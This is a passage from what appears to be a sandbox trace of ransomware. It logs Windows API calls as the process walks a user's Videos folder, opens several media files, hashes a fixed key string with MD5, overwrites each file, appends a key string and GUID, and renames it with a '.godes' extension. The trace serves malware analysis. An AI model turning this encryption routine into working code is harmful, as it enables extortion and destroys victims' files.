HALPmcxz\\Videos\\x4sMoy\\9IrqcHW4ThsWoTp\\") returned="9IrqcHW4ThsWoTp\\" [0114.592] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\") returned="x4sMoy\\" [0114.592] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0114.592] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0114.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326e0d0 | out: hHeap=0x660000) returned 1 [0114.593] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0114.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0114.593] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0114.593] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.593] PathFindFileNameW (pszPath="") returned="" [0114.593] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.593] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\9IrqcHW4ThsWoTp\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9dd50e20, ftCreationTime.dwHighDateTime=0x1d4caa4, ftLastAccessTime.dwLowDateTime=0x77d19850, ftLastAccessTime.dwHighDateTime=0x1d4d4b9, ftLastWriteTime.dwLowDateTime=0x77d19850, ftLastWriteTime.dwHighDateTime=0x1d4d4b9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0114.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.594] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9dd50e20, ftCreationTime.dwHighDateTime=0x1d4caa4, ftLastAccessTime.dwLowDateTime=0x77d19850, ftLastAccessTime.dwHighDateTime=0x1d4d4b9, ftLastWriteTime.dwLowDateTime=0x77d19850, ftLastWriteTime.dwHighDateTime=0x1d4d4b9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.594] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b05820, ftCreationTime.dwHighDateTime=0x1d4d487, ftLastAccessTime.dwLowDateTime=0xc92bbd50, ftLastAccessTime.dwHighDateTime=0x1d4c566, ftLastWriteTime.dwLowDateTime=0xc92bbd50, ftLastWriteTime.dwHighDateTime=0x1d4c566, nFileSizeHigh=0x0, nFileSizeLow=0x20aa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4p5iJ0lNQ.flv", cAlternateFileName="4P5IJ0~1.FLV")) returned 1 [0114.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.594] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbe) returned 0x32518f0 [0114.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.594] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\9IrqcHW4ThsWoTp\\4p5iJ0lNQ.flv") returned=".flv" [0114.595] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\9IrqcHW4ThsWoTp\\4p5iJ0lNQ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x4smoy\\9irqchw4thswotp\\4p5ij0lnq.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.595] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=8362) returned 1 [0114.595] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.597] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x2084, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.597] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.598] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.599] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.599] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.599] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x20aa, lpOverlapped=0x0) returned 1 [0114.599] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.599] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.599] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.599] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.599] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741378) returned 1 [0114.600] CryptCreateHash (in: hProv=0x741378, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.600] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.600] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.600] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.600] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.600] GetLastError () returned 0x0 [0114.600] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.600] CryptReleaseContext (hProv=0x741378, dwFlags=0x0) returned 1 [0114.600] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.600] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20b0) returned 0x3323120 [0114.600] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.600] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.600] WriteFile (in: hFile=0x624, lpBuffer=0x3323120*, nNumberOfBytesToWrite=0x20a5, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3323120*, lpNumberOfBytesWritten=0x3b2fb24*=0x20a5, lpOverlapped=0x0) returned 1 [0114.601] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.601] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x20aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.601] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.601] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0114.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.601] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0114.601] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.601] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.601] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.601] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0114.601] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.601] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.601] CloseHandle (hObject=0x624) returned 1 [0114.602] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320330 [0114.602] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8a0) returned 0x331e748 [0114.602] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320330 | out: hHeap=0x660000) returned 1 [0114.602] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\9IrqcHW4ThsWoTp\\4p5iJ0lNQ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x4smoy\\9irqchw4thswotp\\4p5ij0lnq.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\9IrqcHW4ThsWoTp\\4p5iJ0lNQ.flv.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x4smoy\\9irqchw4thswotp\\4p5ij0lnq.flv.godes")) returned 1 [0114.602] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.602] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.603] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0114.603] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ed931a0, ftCreationTime.dwHighDateTime=0x1d4cd0a, ftLastAccessTime.dwLowDateTime=0xeb8ee150, ftLastAccessTime.dwHighDateTime=0x1d4d570, ftLastWriteTime.dwLowDateTime=0xeb8ee150, ftLastWriteTime.dwHighDateTime=0x1d4d570, nFileSizeHigh=0x0, nFileSizeLow=0x17bc8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LWp5__rH.mp4", cAlternateFileName="")) returned 1 [0114.603] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.603] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbe) returned 0x32518f0 [0114.603] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.603] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\9IrqcHW4ThsWoTp\\LWp5__rH.mp4") returned=".mp4" [0114.603] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\9IrqcHW4ThsWoTp\\LWp5__rH.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x4smoy\\9irqchw4thswotp\\lwp5__rh.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.604] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=97224) returned 1 [0114.604] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.605] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x17ba2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.606] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.607] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.607] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x17bc8, lpOverlapped=0x0) returned 1 [0114.608] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.608] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.608] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.608] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.608] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741378) returned 1 [0114.609] CryptCreateHash (in: hProv=0x741378, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.609] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.609] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.609] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.609] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.609] GetLastError () returned 0x0 [0114.609] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.609] CryptReleaseContext (hProv=0x741378, dwFlags=0x0) returned 1 [0114.609] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.609] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x17bd0) returned 0x3323120 [0114.610] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.610] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.610] WriteFile (in: hFile=0x624, lpBuffer=0x3323120*, nNumberOfBytesToWrite=0x17bc3, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3323120*, lpNumberOfBytesWritten=0x3b2fb24*=0x17bc3, lpOverlapped=0x0) returned 1 [0114.610] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.610] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x17bc8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.610] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.610] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0114.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.610] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0114.610] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.610] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.610] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.610] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0114.610] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.610] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.610] CloseHandle (hObject=0x624) returned 1 [0114.611] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320330 [0114.612] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8a0) returned 0x331e748 [0114.612] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320330 | out: hHeap=0x660000) returned 1 [0114.612] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\9IrqcHW4ThsWoTp\\LWp5__rH.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x4smoy\\9irqchw4thswotp\\lwp5__rh.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\9IrqcHW4ThsWoTp\\LWp5__rH.mp4.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x4smoy\\9irqchw4thswotp\\lwp5__rh.mp4.godes")) returned 1 [0114.612] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.612] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.613] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0114.613] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40c73360, ftCreationTime.dwHighDateTime=0x1d4cbdb, ftLastAccessTime.dwLowDateTime=0x2d48fd90, ftLastAccessTime.dwHighDateTime=0x1d4d0a0, ftLastWriteTime.dwLowDateTime=0x2d48fd90, ftLastWriteTime.dwHighDateTime=0x1d4d0a0, nFileSizeHigh=0x0, nFileSizeLow=0x913, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nw RAVZ-b0JJW.swf", cAlternateFileName="NWRAVZ~1.SWF")) returned 1 [0114.613] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.613] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbe) returned 0x32518f0 [0114.613] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.613] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\9IrqcHW4ThsWoTp\\nw RAVZ-b0JJW.swf") returned=".swf" [0114.613] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\9IrqcHW4ThsWoTp\\nw RAVZ-b0JJW.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x4smoy\\9irqchw4thswotp\\nw ravz-b0jjw.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.613] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=2323) returned 1 [0114.613] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.615] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x8ed, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.615] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.618] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.618] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.618] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x913, lpOverlapped=0x0) returned 1 [0114.618] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.618] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.618] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.618] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741378) returned 1 [0114.619] CryptCreateHash (in: hProv=0x741378, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.619] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.619] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.619] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.619] GetLastError () returned 0x0 [0114.619] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.619] CryptReleaseContext (hProv=0x741378, dwFlags=0x0) returned 1 [0114.619] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x910) returned 0x331e748 [0114.619] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.619] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.619] WriteFile (in: hFile=0x624, lpBuffer=0x331e748*, nNumberOfBytesToWrite=0x90e, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x331e748*, lpNumberOfBytesWritten=0x3b2fb24*=0x90e, lpOverlapped=0x0) returned 1 [0114.619] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.620] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x913, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0114.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.620] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0114.620] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.620] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.620] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.620] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0114.620] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.620] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.620] CloseHandle (hObject=0x624) returned 1 [0114.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320330 [0114.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8b0) returned 0x331e748 [0114.621] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320330 | out: hHeap=0x660000) returned 1 [0114.621] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\9IrqcHW4ThsWoTp\\nw RAVZ-b0JJW.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x4smoy\\9irqchw4thswotp\\nw ravz-b0jjw.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\9IrqcHW4ThsWoTp\\nw RAVZ-b0JJW.swf.godes" (normalized: "c:\\users\\5p5nrgjn0js 